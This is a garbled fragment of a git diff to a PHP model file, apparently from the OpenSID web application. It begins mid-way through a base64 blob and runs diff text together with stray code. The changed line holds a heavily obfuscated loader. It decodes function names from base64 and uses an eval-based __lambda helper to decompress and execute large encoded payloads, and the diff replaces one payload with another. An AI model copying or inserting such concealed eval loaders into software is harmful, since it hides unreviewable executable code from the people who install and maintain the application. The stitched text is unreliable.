qI//w3E96x13rO+CSflGvXnz4ivr9+4FjsLU8VvVC8uZXZ6zqQ4x3O6FxdiUE3dtsv6zKz+DL0mfzt9tOXFX3ju7ICD7YsYpsQ5jAcgD3rXyjwkodqQinxAPda3chsw1MvnffiBNTKmt0NrILNzseZNWNp/n35r1bHu6bywbu5GutHaqvistyPWN54k1orqG6UNjoVt0rt4TioYWSa3GHIy5pHGbF6W81NupIZWZyqPZnRe2eqbnBn22/T7q2E9P5a4rT37JHMXbPky3g+MH4jjXf9ifA2yV3Z/uTaQFL8NkMXIR577Tp+Y1SLdhrYhPES9tyP+LfUiCGpy5CJPfV1/pb4+1qMzTHntVRanfqJNH41XNYUP5tnflif3MlHxGhrlBqyWO2pYHP3u5vQ8sku/kVtoSkR4fXuftSiv/gJe8vkh9/xa+nLpHMNpPtHcUC5B2B/zvEDH/yL8+q7v4LwG/e4tvNRnv5RL8+/WLeWLudQsr7HD/2QL+j3a1M+knI7/ZR8RKCJHtcfidwZP3ltnD99aZ/Zt6/i160jBd535rbGlwznD2t+IpG/9hqhaD0zofPidUZtzH3SLXp9+/+mnf/+/LOEP9v7P4tN//v4tj1ee/ciD/zgu+M9P9P+f/uuw7PW/JfH3/G9JnO79P0+ULd/6//z9fwD0ItZV'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/First_artikel_m.php b/donjo-app/models/First_artikel_m.php index e9e5fc536..929ab37f8 100644 --- a/donjo-app/models/First_artikel_m.php +++ b/donjo-app/models/First_artikel_m.php @@ -248,7 +248,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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